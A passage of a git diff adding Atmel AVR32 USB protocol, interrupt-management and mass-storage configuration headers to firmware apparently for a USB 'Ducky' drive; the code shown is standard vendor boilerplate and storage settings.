and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _USB_PROTOCOL_H_ +#define _USB_PROTOCOL_H_ + +#include "usb_atmel.h" + +/** + * \ingroup usb_group + * \defgroup usb_protocol_group USB Protocol Definitions + * + * This module defines constants and data structures provided by the USB + * 2.0 specification. + * + * @{ + */ + +//! Value for field bcdUSB +#define USB_V2_0 0x0200 //!< USB Specification version 2.00 + +/*! \name Generic definitions (Class, subclass and protocol) + */ +//! @{ +#define NO_CLASS 0x00 +#define CLASS_VENDOR_SPECIFIC 0xFF +#define NO_SUBCLASS 0x00 +#define NO_PROTOCOL 0x00 +//! @} + +//! \name IAD (Interface Association Descriptor) constants +//! @{ +#define CLASS_IAD 0xEF +#define SUB_CLASS_IAD 0x02 +#define PROTOCOL_IAD 0x01 +//! @} + +/** + * \brief USB request data transfer direction (bmRequestType) + */ +#define USB_REQ_DIR_OUT (0<<7) //!< Host to device +#define USB_REQ_DIR_IN (1<<7) //!< Device to host +#define USB_REQ_DIR_MASK (1<<7) //!< Mask + +/** + * \brief USB request types (bmRequestType) + */ +#define USB_REQ_TYPE_STANDARD (0<<5) //!< Standard request +#define USB_REQ_TYPE_CLASS (1<<5) //!< Class-specific request +#define USB_REQ_TYPE_VENDOR (2<<5) //!< Vendor-specific request +#define USB_REQ_TYPE_MASK (3<<5) //!< Mask + +/** + * \brief USB recipient codes (bmRequestType) + */ +#define USB_REQ_RECIP_DEVICE (0<<0) //!< Recipient device +#define USB_REQ_RECIP_INTERFACE (1<<0) //!< Recipient interface +#define USB_REQ_RECIP_ENDPOINT (2<<0) //!< Recipient endpoint +#define USB_REQ_RECIP_OTHER (3<<0) //!< Recipient other +#define USB_REQ_RECIP_MASK (0x1F) //!< Mask + +/** + * \brief Standard USB requests (bRequest) + */ +enum usb_reqid { + USB_REQ_GET_STATUS = 0, + USB_REQ_CLEAR_FEATURE = 1, + USB_REQ_SET_FEATURE = 3, + USB_REQ_SET_ADDRESS = 5, + USB_REQ_GET_DESCRIPTOR = 6, + USB_REQ_SET_DESCRIPTOR = 7, + USB_REQ_GET_CONFIGURATION = 8, + USB_REQ_SET_CONFIGURATION = 9, + USB_REQ_GET_INTERFACE = 10, + USB_REQ_SET_INTERFACE = 11, + USB_REQ_SYNCH_FRAME = 12, +}; + +/** + * \brief Standard USB device status flags + * + */ +enum usb_device_status { + USB_DEV_STATUS_BUS_POWERED = 0, + USB_DEV_STATUS_SELF_POWERED = 1, + USB_DEV_STATUS_REMOTEWAKEUP = 2 +}; + +/** + * \brief Standard USB Interface status flags + * + */ +enum usb_interface_status { + USB_IFACE_STATUS_RESERVED = 0 +}; + +/** + * \brief Standard USB endpoint status flags + * + */ +enum usb_endpoint_status { + USB_EP_STATUS_HALTED = 1, +}; + +/** + * \brief Standard USB device feature flags + * + * \note valid for SetFeature request. + */ +enum usb_device_feature { + USB_DEV_FEATURE_REMOTE_WAKEUP = 1, //!< Remote wakeup enabled + USB_DEV_FEATURE_TEST_MODE = 2, //!< USB test mode + USB_DEV_FEATURE_OTG_B_HNP_ENABLE = 3, + USB_DEV_FEATURE_OTG_A_HNP_SUPPORT = 4, + USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT = 5 +}; + +/** + * \brief Test Mode possible on HS USB device + * + * \note valid for USB_DEV_FEATURE_TEST_MODE request. + */ +enum usb_device_hs_test_mode { + USB_DEV_TEST_MODE_J = 1, + USB_DEV_TEST_MODE_K = 2, + USB_DEV_TEST_MODE_SE0_NAK = 3, + USB_DEV_TEST_MODE_PACKET = 4, + USB_DEV_TEST_MODE_FORCE_ENABLE = 5, +}; + +/** + * \brief Standard USB endpoint feature/status flags + */ +enum usb_endpoint_feature { + USB_EP_FEATURE_HALT = 0, +}; + +/** + * \brief Standard USB Test Mode Selectors + */ +enum usb_test_mode_selector { + USB_TEST_J = 0x01, + USB_TEST_K = 0x02, + USB_TEST_SE0_NAK = 0x03, + USB_TEST_PACKET = 0x04, + USB_TEST_FORCE_ENABLE = 0x05, +}; + +/** + * \brief Standard USB descriptor types + */ +enum usb_descriptor_type { + USB_DT_DEVICE = 1, + USB_DT_CONFIGURATION = 2, + USB_DT_STRING = 3, + USB_DT_INTERFACE = 4, + USB_DT_ENDPOINT = 5, + USB_DT_DEVICE_QUALIFIER = 6, + USB_DT_OTHER_SPEED_CONFIGURATION = 7, + USB_DT_INTERFACE_POWER = 8, + USB_DT_OTG = 9, + USB_DT_IAD = 0x0B, +}; + +/** + * \brief Standard USB endpoint transfer types + */ +enum usb_ep_type { + USB_EP_TYPE_CONTROL = 0x00, + USB_EP_TYPE_ISOCHRONOUS = 0x01, + USB_EP_TYPE_BULK = 0x02, + USB_EP_TYPE_INTERRUPT = 0x03, + USB_EP_TYPE_MASK = 0x03, +}; + +/** + * \brief Standard USB language IDs for string descriptors + */ +enum usb_langid { + USB_LANGID_EN_US = 0x0409, //!< English (United States) +}; + +/** + * \brief Mask selecting the index part of an endpoint address + */ +#define USB_EP_ADDR_MASK 0x0f + +//! \brief USB address identifier +typedef uint8_t usb_add_t; + +/** + * \brief Endpoint transfer direction is IN + */ +#define USB_EP_DIR_IN 0x80 + +/** + * \brief Endpoint transfer direction is OUT + */ +#define USB_EP_DIR_OUT 0x00 + +//! \brief Endpoint identifier +typedef uint8_t usb_ep_t; + +/** + * \brief Maximum length in bytes of a USB descriptor + * + * The maximum length of a USB descriptor is limited by the 8-bit + * bLength field. + */ +#define USB_MAX_DESC_LEN 255 + +/* + * 2-byte alignment requested for all USB structures. + */ +COMPILER_PACK_SET(1); + +/** + * \brief A USB Device SETUP request + * + * The data payload of SETUP packets always follows this structure. + */ +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + le16_t wValue; + le16_t wIndex; + le16_t wLength; +} usb_setup_req_t; + +/** + * \brief Standard USB device descriptor stucture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + le16_t idVendor; + le16_t idProduct; + le16_t bcdDevice; + uint8_t iManufacturer; + uint8_t iProduct; + uint8_t iSerialNumber; + uint8_t bNumConfigurations; +} usb_dev_desc_t; + +/** + * \brief Standard USB device qualifier descriptor structure + * + * This descriptor contains information about the device when running at + * the "other" speed (i.e. if the device is currently operating at high + * speed, this descriptor can be used to determine what would change if + * the device was operating at full speed.) + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + uint8_t bNumConfigurations; + uint8_t bReserved; +} usb_dev_qual_desc_t; + + +/** + * \brief Standard USB Interface Association Descriptor structure + */ +typedef struct { + uint8_t bLength; //!< size of this descriptor in bytes + uint8_t bDescriptorType; //!< INTERFACE descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass;//!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol;//!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_association_desc_t; + + +/** + * \brief Standard USB configuration descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t wTotalLength; + uint8_t bNumInterfaces; + uint8_t bConfigurationValue; + uint8_t iConfiguration; + uint8_t bmAttributes; + uint8_t bMaxPower; +} usb_conf_desc_t; + + +#define USB_CONFIG_ATTR_MUST_SET (1 << 7) //!< Must always be set +#define USB_CONFIG_ATTR_BUS_POWERED (0 << 6) //!< Bus-powered +#define USB_CONFIG_ATTR_SELF_POWERED (1 << 6) //!< Self-powered +#define USB_CONFIG_ATTR_REMOTE_WAKEUP (1 << 5) //!< remote wakeup supported + +#define USB_CONFIG_MAX_POWER(ma) (((ma) + 1) / 2) //!< Max power in mA + +/** + * \brief Standard USB association descriptor structure + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< Interface descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_iad_desc_t; + +/** + * \brief Standard USB interface descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bInterfaceNumber; + uint8_t bAlternateSetting; + uint8_t bNumEndpoints; + uint8_t bInterfaceClass; + uint8_t bInterfaceSubClass; + uint8_t bInterfaceProtocol; + uint8_t iInterface; +} usb_iface_desc_t; + +/** + * \brief Standard USB endpoint descriptor stcuture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bEndpointAddress; + uint8_t bmAttributes; + le16_t wMaxPacketSize; + uint8_t bInterval; +} usb_ep_desc_t; + + +/** + * \brief A standard USB string descriptor sructure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; +} usb_str_desc_t; + +typedef struct { + usb_str_desc_t desc; + le16_t string[1]; +} usb_str_lgid_desc_t; + +COMPILER_PACK_RESET(); + +//! @} + +#endif /* _USB_PROTOCOL_H_ */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt.h new file mode 100755 index 0000000..a7c354d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt.h @@ -0,0 +1,134 @@ +/** + * \file + * + * \brief Global interrupt management for 8- and 32-bit AVR + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef UTILS_INTERRUPT_H +#define UTILS_INTERRUPT_H + +#include + +#if XMEGA || MEGA +# include "interrupt/interrupt_avr8.h" +#elif UC3 +# include "interrupt/interrupt_avr32.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup interrupt_group Global interrupt management + * + * This is a driver for global enabling and disabling of interrupts. + * + * @{ + */ + +#if defined(__DOXYGEN__) +/** + * \def CONFIG_INTERRUPT_FORCE_INTC + * \brief Force usage of the ASF INTC driver + * + * Predefine this symbol when preprocessing to force the use of the ASF INTC driver. + * This is useful to ensure compatibilty accross compilers and shall be used only when required + * by the application needs. + */ +# define CONFIG_INTERRUPT_FORCE_INTC +#endif + +//! \name Global interrupt flags +//@{ +/** + * \typedef irqflags_t + * \brief Type used for holding state of interrupt flag + */ + +/** + * \def cpu_irq_enable + * \brief Enable interrupts globally + */ + +/** + * \def cpu_irq_disable + * \brief Disable interrupts globally + */ + +/** + * \fn irqflags_t cpu_irq_save(void) + * \brief Get and clear the global interrupt flags + * + * Use in conjunction with \ref cpu_irq_restore. + * + * \return Current state of interrupt flags. + * + * \note This function leaves interrupts disabled. + */ + +/** + * \fn void cpu_irq_restore(irqflags_t flags) + * \brief Restore global interrupt flags + * + * Use in conjunction with \ref cpu_irq_save. + * + * \param flags State to set interrupt flag to. + */ + +/** + * \fn bool cpu_irq_is_enabled_flags(irqflags_t flags) + * \brief Check if interrupts are globally enabled in supplied flags + * + * \param flags Currents state of interrupt flags. + * + * \return True if interrupts are enabled. + */ + +/** + * \def cpu_irq_is_enabled + * \brief Check if interrupts are globally enabled + * + * \return True if interrupts are enabled. + */ +//@} + +//! @} + +/** + * \ingroup interrupt_group + * \defgroup interrupt_deprecated_group Deprecated interrupt definitions + */ + +#endif /* UTILS_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt/interrupt_avr32.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt/interrupt_avr32.h new file mode 100755 index 0000000..de5a2a6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/utils/interrupt/interrupt_avr32.h @@ -0,0 +1,344 @@ +/** + * \file + * + * \brief Global interrupt management for 32-bit AVR + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef UTILS_INTERRUPT_INTERRUPT_H +#define UTILS_INTERRUPT_INTERRUPT_H + +#include +#include + +/** + * \weakgroup interrupt_group + * + * @{ + */ + +//! Pointer to interrupt handler. +#if (defined __GNUC__) +typedef void (*__int_handler)(void); +#elif (defined __ICCAVR32__) +typedef void (__interrupt *__int_handler)(void); +#endif + +/** + * \name Interrupt Service Routine definition and registration + * + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) + +/** + * \brief Define service routine + * + * With GCC, this macro only causes the function to be defined as an interrupt + * service routine, i.e., it does not add any initialization code. A valid + * function name is required for use with \ref irq_register_handler. + * + * With IAR, this macro defines the function as an interrupt service routine and + * causes the compiler to add initialization code for the interrupt controller + * (INTC). The interrupt group and level, as well as a valid function name are + * therefore required.\n + * \note If \ref CONFIG_INTERRUPT_FORCE_INTC is defined, only a valid function + * name is required for use with \ref irq_register_handler. The initialization + * code will be handled by the interrupt controller itself. + * + * Usage: + * \code + * ISR(foo_irq_handler, AVR32_xxx_IRQ_GROUP, n) + * { + * // Function definition + * ... + * } + * \endcode + * + * \param func Name for the function, needed by \ref irq_register_handler. + * \param int_grp Interrupt group to define service routine for. + * \param int_lvl Priority level to set for the interrupt group, in the range + * \c 0 to \c 3. + * + * \note The interrupt groups can be found in the device header files for the + * IAR toolchain (avr32/io\.h). + * + * \todo Update to use IRQ numbers when these are made available in the + * device header files of both IAR and GCC. + */ +# define ISR(func, int_grp, int_lvl) \ + __attribute__((__interrupt__)) static void func (void) + +#elif defined(__ICCAVR32__) +# define ISR0(...) _Pragma(#__VA_ARGS__) +# define ISR(func, int_grp, int_lvl) \ + ISR0(handler=int_grp, int_lvl) \ + __interrupt static void func (void) +#endif + +#if defined(__GNUC__) || defined(__DOXYGEN__) || defined(CONFIG_INTERRUPT_FORCE_INTC) +# include + +/** + * \brief Initialize interrupt vectors + * + * With GCC, this macro adds code for initialization of the interrupt vectors + * with the driver for the interrupt controller (INTC). + * + * With IAR and unless \ref CONFIG_INTERRUPT_FORCE_INTC is defined this macro + * adds no code, since initialization of the INTC is handled by the compiler. + * \note Defining \ref CONFIG_INTERRUPT_FORCE_INTC will force the use of the + * INTC driver, replacing the compiler built-in interrupt handler. + * + * This must be called prior to \ref irq_register_handler. + */ +# define irq_initialize_vectors() INTC_init_interrupts() + +/** + * \brief Register handler for interrupt + * + * With GCC, this macro adds code for registering an interrupt handler with the + * driver for the interrupt controller (INTC). + * + * With IAR and unless \ref CONFIG_INTERRUPT_FORCE_INTC is defined this macro + * adds no code, since initialization of the INTC is handled by the compiler. + * \note Defining \ref CONFIG_INTERRUPT_FORCE_INTC will force the use of the + * INTC driver, replacing the compiler built-in interrupt handler. + * + * \param func Name of handler function to register for interrupt. + * \param int_num Number of the interrupt line to register function for. + * \param int_lvl Priority level to set for the interrupt's group, in the range + * \c 0 to \c 3. + * + * Usage: + * \code + * irq_initialize_vectors(); + * irq_register_handler(foo_irq_handler, AVR32_xxx_IRQ, n); + * \endcode + * + * \note The function \a func must be defined with the \ref ISR macro. + * \note The interrupt line number can be found in the device header files for + * the GCC toolchain (avr32/\.h). + */ +# define irq_register_handler(func, int_num, int_lvl) \ + INTC_register_interrupt(func, int_num, \ + TPASTE2(AVR32_INTC_INT, int_lvl)) + +#elif defined(__ICCAVR32__) +# define irq_initialize_vectors() do{ } while(0) +# define irq_register_handler(func, int_num, int_lvl) do{ } while(0) +#endif + +//@} + +#if (defined __GNUC__) +# define cpu_irq_enable() \ + do { \ + barrier(); \ + __builtin_csrf(AVR32_SR_GM_OFFSET); \ + } while (0) +# define cpu_irq_disable() \ + do { \ + __builtin_ssrf(AVR32_SR_GM_OFFSET); \ + barrier(); \ + } while (0) +#elif (defined __ICCAVR32__) +# if (defined CONFIG_INTERRUPT_FORCE_INTC) +# define cpu_irq_enable() \ + do { \ + barrier(); \ + __clear_status_flag(AVR32_SR_GM_OFFSET); \ + } while(0) +# define cpu_irq_disable() \ + do { \ + __set_status_flag(AVR32_SR_GM_OFFSET); \ + barrier(); \ + } while (0) +# else +# define cpu_irq_enable() __enable_interrupt() +# define cpu_irq_disable() __disable_interrupt() +# endif +#endif + +typedef uint32_t irqflags_t; + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); + cpu_irq_disable(); + + return flags; +} + +static inline bool cpu_irq_is_enabled_flags(irqflags_t flags) +{ + return !(flags & AVR32_SR_GM_MASK); +} + +static inline void cpu_irq_restore(irqflags_t flags) +{ + barrier(); +#if defined(__ICCAVR32__) + // Barrier " __asm__ __volatile__ ("")" + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +#endif + barrier(); +} + +#define cpu_irq_is_enabled() cpu_irq_is_enabled_flags(sysreg_read(AVR32_SR)) + +//! \name Global interrupt levels +//@{ + +/** + * \brief Check if interrupt level is enabled in supplied flags + * + * \param flags State of interrupt flags. + * \param level Bit position for interrupt level. + * + * \return True if interrupt level is enabled. + */ +static inline bool cpu_irq_level_is_enabled_flags(irqflags_t flags, + uint32_t level) +{ + return !(flags & (1 << level)); +} + +/** + * \brief Check if interrupt level is enabled + * + * \param level Interrupt level (0 to 3). + * + * \return True if interrupt level \a level is enabled. + * + * \note The interrupt level must be known at compile time. + */ +#define cpu_irq_level_is_enabled(level) \ + cpu_irq_level_is_enabled_flags(sysreg_read(AVR32_SR), \ + TPASTE3(AVR32_SR_I, level, M_OFFSET)) + +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Enable interrupt level + * + * \param level Interrupt level to enable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __builtin_csrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while (0) + +/** + * \brief Disable interrupt level + * + * \param level Interrupt level to disable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_disable_level(level) \ + do { \ + __builtin_ssrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) + +#elif (defined __ICCAVR32__) +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __clear_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while(0) +# define cpu_irq_disable_level(level) \ + do { \ + __set_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) +#endif + +//@} + +//@} + +/** + * \weakgroup interrupt_deprecated_group + * @{ + */ + +#define Enable_global_interrupt() cpu_irq_enable() +#define Disable_global_interrupt() cpu_irq_disable() +#define Is_global_interrupt_enabled() cpu_irq_is_enabled() + +#define Enable_interrupt_level(level) cpu_irq_enable_level(level) +#define Disable_interrupt_level(level) cpu_irq_disable_level(level) +#define Is_interrupt_level_enabled(level) cpu_irq_level_is_enabled(level) + +/** + * \name Interrupt protection of code sections + * \note Use \ref cpu_irq_save and \ref cpu_irq_restore instead of these macros. + * @{ + */ + +/** + * \brief Start section with code protected against interrupts + */ +#define AVR32_ENTER_CRITICAL_REGION() \ + { \ + bool global_interrupt_enabled = Is_global_interrupt_enabled(); \ + Disable_global_interrupt(); + +/** + * \brief End section with code protected against interrupts + * + * \note This macro must always be used in conjunction with + * \ref AVR32_ENTER_CRITICAL_REGION so that interrupts are enabled again. + */ +#define AVR32_LEAVE_CRITICAL_REGION() \ + if (global_interrupt_enabled) Enable_global_interrupt(); \ + } + +//@} + +//@} + +#endif /* UTILS_INTERRUPT_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_access.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_access.h new file mode 100755 index 0000000..f991043 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_access.h @@ -0,0 +1,103 @@ +#ifndef _CONF_ACCESS_H_ + #define _CONF_ACCESS_H_ + + #include "compiler.h" + #include "board.h" + + + #define LUN_0 DISABLE //!< On-Chip Virtual Memory. + #define LUN_1 DISABLE //!< AT45DBX Data Flash. + #define LUN_2 ENABLE //!< SD/MMC Card over SPI. + #define LUN_3 DISABLE //!< SD/MMC Card over MCI Slot 0. + #define LUN_4 DISABLE + #define LUN_5 DISABLE + #define LUN_6 DISABLE + #define LUN_7 DISABLE + #define LUN_USB DISABLE //!< Host Mass-Storage Memory. + + + + #define VIRTUAL_MEM LUN_0 + #define LUN_ID_VIRTUAL_MEM LUN_ID_0 + #define LUN_0_INCLUDE "virtual_mem.h" + #define Lun_0_test_unit_ready virtual_test_unit_ready + #define Lun_0_read_capacity virtual_read_capacity + #define Lun_0_wr_protect virtual_wr_protect + #define Lun_0_removal virtual_removal + #define Lun_0_usb_read_10 virtual_usb_read_10 + #define Lun_0_usb_write_10 virtual_usb_write_10 + #define Lun_0_mem_2_ram virtual_mem_2_ram + #define Lun_0_ram_2_mem virtual_ram_2_mem + #define LUN_0_NAME "\"On-Chip Virtual Memory\"" + + #define AT45DBX_MEM LUN_1 + #define LUN_ID_AT45DBX_MEM LUN_ID_1 + #define LUN_1_INCLUDE "at45dbx_mem.h" + #define Lun_1_test_unit_ready at45dbx_test_unit_ready + #define Lun_1_read_capacity at45dbx_read_capacity + #define Lun_1_wr_protect at45dbx_wr_protect + #define Lun_1_removal at45dbx_removal + #define Lun_1_usb_read_10 at45dbx_usb_read_10 + #define Lun_1_usb_write_10 at45dbx_usb_write_10 + #define Lun_1_mem_2_ram at45dbx_df_2_ram + #define Lun_1_ram_2_mem at45dbx_ram_2_df + #define LUN_1_NAME "\"AT45DBX Data Flash\"" + + #define SD_MMC_SPI_MEM LUN_2 + #define LUN_ID_SD_MMC_SPI_MEM LUN_ID_2 + #define LUN_2_INCLUDE "sd_mmc_spi_mem.h" + #define Lun_2_test_unit_ready sd_mmc_spi_test_unit_ready + #define Lun_2_read_capacity sd_mmc_spi_read_capacity + #define Lun_2_wr_protect sd_mmc_spi_wr_protect + #define Lun_2_removal sd_mmc_spi_removal + #define Lun_2_usb_read_10 sd_mmc_spi_usb_read_10 + #define Lun_2_usb_write_10 sd_mmc_spi_usb_write_10 + #define Lun_2_mem_2_ram sd_mmc_spi_mem_2_ram + #define Lun_2_ram_2_mem sd_mmc_spi_ram_2_mem + #define LUN_2_NAME "\"Ducky USB Drive\"" + + #define SD_MMC_MCI_0_MEM LUN_3 + #define LUN_ID_SD_MMC_MCI_0_MEM LUN_ID_3 + #define LUN_3_INCLUDE "sd_mmc_mci_mem.h" + #define Lun_3_test_unit_ready sd_mmc_mci_test_unit_ready_0 + #define Lun_3_read_capacity sd_mmc_mci_read_capacity_0 + #define Lun_3_wr_protect sd_mmc_mci_wr_protect_0 + #define Lun_3_removal sd_mmc_mci_removal_0 + #define Lun_3_usb_read_10 sd_mmc_mci_usb_read_10_0 + #define Lun_3_usb_write_10 sd_mmc_mci_usb_write_10_0 + #define Lun_3_mem_2_ram sd_mmc_mci_mem_2_ram_0 + #define Lun_3_ram_2_mem sd_mmc_mci_ram_2_mem_0 + #define LUN_3_NAME "\"SD/MMC Card over MCI Slot 0\"" + + #define MEM_USB LUN_USB + #define LUN_ID_MEM_USB LUN_ID_USB + #define LUN_USB_INCLUDE "host_mem.h" + #define Lun_usb_test_unit_ready(lun) host_test_unit_ready(lun) + #define Lun_usb_read_capacity(lun, nb_sect) host_read_capacity(lun, nb_sect) + #define Lun_usb_read_sector_size(lun) host_read_sector_size(lun) + #define Lun_usb_wr_protect(lun) host_wr_protect(lun) + #define Lun_usb_removal() host_removal() + #define Lun_usb_mem_2_ram(addr, ram) host_read_10_ram(addr, ram) + #define Lun_usb_ram_2_mem(addr, ram) host_write_10_ram(addr, ram) + #define LUN_USB_NAME "\"Host Mass-Storage Memory\"" + + + #define memory_start_read_action(nb_sectors) ui_start_read() + #define memory_stop_read_action() ui_stop_read() + #define memory_start_write_action(nb_sectors) ui_start_write() + #define memory_stop_write_action() ui_stop_write() + #include "ui.h" + + + #define ACCESS_USB true //!< MEM <-> USB interface. + #define ACCESS_MEM_TO_RAM false //!< MEM <-> RAM interface. + #define ACCESS_STREAM false //!< Streaming MEM <-> MEM interface. + #define ACCESS_STREAM_RECORD false //!< Streaming MEM <-> MEM interface in record mode. + #define ACCESS_MEM_TO_MEM false //!< MEM <-> MEM interface. + #define ACCESS_CODEC false //!< Codec interface. + + + #define GLOBAL_WR_PROTECT false //!< Management of a global write protection. + + + #endif // _CONF_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_board.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_board.h new file mode 100755 index 0000000..8cdef3f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/config/conf_board.h @@ -0,0 +1,23 @@ +/** + * \file + * + * \brief EVK1101 board configuration template + * + */ + +#ifndef CONF_BOARD_H +#define CONF_BOARD_H + 